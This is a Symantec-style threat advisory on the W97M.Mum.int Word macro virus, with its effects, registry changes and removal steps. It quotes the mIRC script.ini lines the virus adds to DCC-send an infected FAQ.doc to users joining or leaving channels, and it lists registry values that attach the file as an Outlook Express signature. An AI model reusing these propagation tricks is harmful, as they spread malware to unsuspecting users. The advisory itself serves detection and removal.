W97M.Mum.int

SUMMARY

W97M.Mum.int is a macro virus that intends to infect Microsoft Word documents.

Protection

• Virus Definitions (LiveUpdate™ Weekly) October 16, 2002
• Virus Definitions (Intelligent Updater) October 15, 2002

TECHNICAL DETAILS

W97M.Mum.int is a Word macro virus. Due to limitations and bugs in the code, it does not function as intended.

This macro virus does not spread by using the Normal.dot template. It attempts to spread by using the Mumps.dot file, which must be located in the C:Program FilesMicrosoft OfficeOfficeStartup folder. This path is hard-coded and is not linked to system variables.

W97M.Mum.int attempts to do the following:

When you open, save, or close a document, the macro disables security settings and changes the value of RegisteredOwner to Anonymous

in the registry key

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

It exports and imports its code to and from C:WindowsMumps.drv (this path is hard-coded). It also saves the current document as C:WindowsFAQ.doc. This file is sent as an attachment with Outlook applications and mIRC.

When you click Help > About, the virus opens Notepad and displays this message:

"Windows has low memory resources. Please restart your Windows....."

This macro attempts to spread through mIRC by sending FAQ.doc. It adds the following lines to the C:MircScript.ini file:

[script]
n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick & c:WindowsFAQ.doc
n3=}
n4=on 1:PART:#:{
n5= /if ( $nick == $me ) { halt }"
n6= /.dcc send $nick  & c:WindowsFAQ.doc
n7=}

When you attempt to print a file and the seconds (of the current time) equal 59, the virus displays the message

Your printer driver is not compatible with Windows. Please install another printer drivers.

When you attempt to look at VB Code, Macros, or Templates using the Tools > Options menu, the virus displays

There is something a trouble with this function...

It also makes other changes or additions to the registry. (The key is shown first, followed by the value and the value data.)

• HKEY_CURRENT_USERIdentities{4A2A00A0-C0FA-11D3-A16B-921B092BE65E}SoftwareMicrosoftOutlook Express5.0signatures
  
  Default Signature 00000000
  
• HKEY_CURRENT_USERIdentities{4A2A00A0-C0FA-11D3-A16B-921B092BE65E}SoftwareMicrosoftOutlook Express5.0signatures0000000
  
  name Signature #1
  
• HKEY_CURRENT_USERIdentities{4A2A00A0-C0FA-11D3-A16B-921B092BE65E}SoftwareMicrosoftOutlook Express5.0signatures0000000
  
  type 2
  
• HKEY_CURRENT_USERIdentities{4A2A00A0-C0FA-11D3-A16B-921B092BE65E}SoftwareMicrosoftOutlook Express5.0signatures0000000
  
  text ""
  
• HKEY_CURRENT_USERIdentities{4A2A00A0-C0FA-11D3-A16B-921B092BE65E}SoftwareMicrosoftOutlook Express5.0signatures0000000
  
  file C:WINDOWSFAQ.doc
  
• HKEY_CURRENT_USERIdentities{4A2A00A0-C0FA-11D3-A16B-921B092BE65E}SoftwareMicrosoftOutlook Express5.0
  
  Signature Flags 3

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

• Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
• If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
• Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
• Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
• Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
• Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
• Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

REMOVAL

NOTE: These instructions are for all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines.

1. Update the virus definitions.
2. Run a full system scan, and repair all files that are detected as W97M.Mum.int.

For details on how to do this, read the following instructions.

To update the virus definitions:
All virus definitions receive full quality assurance testing by Symantec Security Response before being posted to our servers. There are two ways to obtain the most recent virus definitions:

• Run LiveUpdate, which is the easiest way to obtain virus definitions. These virus definitions are posted to the LiveUpdate servers one time each week (usually Wednesdays) unless there is a major virus outbreak. To determine whether definitions for this threat are available by LiveUpdate, look at the Virus Definitions (LiveUpdate) line at the top of this write-up.
• Download the definitions using the Intelligent Updater. Intelligent Updater virus definitions are posted on U.S. business days (Monday through Friday). They must be downloaded from the Symantec Security Response Web site and installed manually. To determine whether definitions for this threat are available by the Intelligent Updater, look at the Virus Definitions (Intelligent Updater) line at the top of this write-up.
  
  Intelligent Updater virus definitions are available here. For detailed instructions on how to download and install the Intelligent Updater virus definitions from the Symantec Security Response Web site, click here.

To scan for and repair the infected files:

1. Start your Symantec antivirus software and make sure that it is configured to scan all files.
   • Norton AntiVirus consumer products: Read the document How to configure Norton AntiVirus to scan all files.
   • Symantec enterprise antivirus products: Read the document How to verify a Symantec Corporate antivirus product is set to scan All Files.
2. Run a full system scan.
3. If any files are detected as infected with W97M.Mum.int, click Repair.